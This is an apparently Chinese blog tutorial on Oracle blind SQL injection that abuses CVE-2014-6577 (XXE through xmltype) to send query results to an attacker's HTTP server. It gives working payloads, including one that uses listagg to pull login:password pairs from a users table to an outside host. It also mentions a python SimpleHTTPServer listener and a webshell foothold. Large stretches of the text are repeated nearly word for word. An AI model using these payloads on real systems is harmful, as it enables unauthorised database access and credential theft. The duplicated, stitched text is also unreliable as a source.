当然,如果你是dba权限注入点,或者可以union,error,可以直接跳过此文。
目标版本:11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2,等(比较新的版本,对非dba用户的权限做了些许限制)
dba权限的话:oracle盲注用http反连可以通杀
测试环境:oracle 11gR2 64位,kali
先用tmux开启3个窗口。左边2个分别以db用户test,dba用户system登录。右边用python快速开启53端口web服务。如下图。
接着我们用dba万能大法,http通道尝试。发现test用户网络连接被拒绝。而system不受任何影响。因为oracle版本号有空格。所以右方web状态码400,但数据已经出来。
oracle函数众多,有了dba,走遍天下也不怕。
下面看一下目标table的数据结果。挑战目标是普通db权限如何一次获取整张表。
这里我们利用CVE-2014-6577(db甚至更小权限可以利用xml结构,跳过框架网络限制,建立http或者ftp通道)。
下图以http为例。ftp你自己开个nc或者wireshark抓报文
netspi官网给出http简单payload和我们的改良版本:
//乌云drops给出的阐释 //些许跟进1:我们所需payload的添加,||是oracle的一个连接符。所以和dba万能http通道的原理类似。我们把所需的payload附加到后面即可。
2:一次注入获取多行多列数据,oracle和mssql还是挺多这样的函数的。mysql也有,但是经常有字符长度限制,所以较为鸡肋。oracle的listagg,xmlagg,stragg等函数都可以实现。
下面是实验结果。
细心的小伙伴可能会发现我上面为什么限定了where rownum<5。这个取前多少行自行决定。mssql一次error报错行数过多会导致错误。
另外也可以写个脚本,oracle可以几十行几十行的注入。那样整张表很快就出来了。
常用payload中select,delete,update,insert都可以成功的。
注意点:为什么用python建立web服务,,因为很多生产环境是oracle内网隔离,但是time base和布尔盲注又太慢,恰好又有个目标网内的一台linux的webshell。那么python更方便,记得端口用大于1024的,
测试环境:oracle 11gR2 64位,kali
先用tmux开启3个窗口。左边2个分别以db用户test,dba用户system登录。右边用python快速开启53端口web服务。如下图。
python -m SimpleHTTPServer 53
接着我们用dba万能大法,http通道尝试。发现test用户网络连接被拒绝。而system不受任何影响。因为oracle版本号有空格。所以右方web状态码400,但数据已经出来。
oracle函数众多,有了dba,走遍天下也不怕。
下面看一下目标table的数据结果。挑战目标是普通db权限如何一次获取整张表。
这里我们利用CVE-2014-6577(db甚至更小权限可以利用xml结构,跳过框架网络限制,建立http或者ftp通道)。
下图以http为例。ftp你自己开个nc或者wireshark抓报文
netspi官网给出http简单payload和我们的改良版本:
//官网版本
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>'),'/l') from dual;
- select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT TABLE_NAME FROM (SELECT ROWNUM AS R,TABLE_NAME FROM USER_TABLES) WHERE R=1)||'"> %remote; %param1;]>'),'/l') from dual;
- select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://127.0.0.1:53/'||(select listagg(login||chr(58)||pass,',') within group (order by id) from users where rownum<5)||'"> %remote; %param1;]>'),'/l') from dual
2:一次注入获取多行多列数据,oracle和mssql还是挺多这样的函数的。mysql也有,但是经常有字符长度限制,所以较为鸡肋。oracle的listagg,xmlagg,stragg等函数都可以实现。
下面是实验结果。
细心的小伙伴可能会发现我上面为什么限定了where rownum<5。这个取前多少行自行决定。mssql一次error报错行数过多会导致错误。
另外也可以写个脚本,oracle可以几十行几十行的注入。那样整张表很快就出来了。
常用payload中select,delete,update,insert都可以成功的。
注意点:为什么用python建立web服务,,因为很多生产环境是oracle内网隔离,但是time base和布尔盲注又太慢,恰好又有个目标网内的一台linux的webshell。那么python更方便,记得端口用大于1024的,
注入点好的直接error,union,或者直接sqlmap。
盲注:版本低的直接http,权限高的直接http,
参考资料:
参考资料:
https://blog.netspi.com/advisory-xxe-injection-oracle-database-cve-2014-6577/
乌云drops:http://drops.wooyun.org/papers/6035
注入相关姿势:https://twitter.com/dsrbr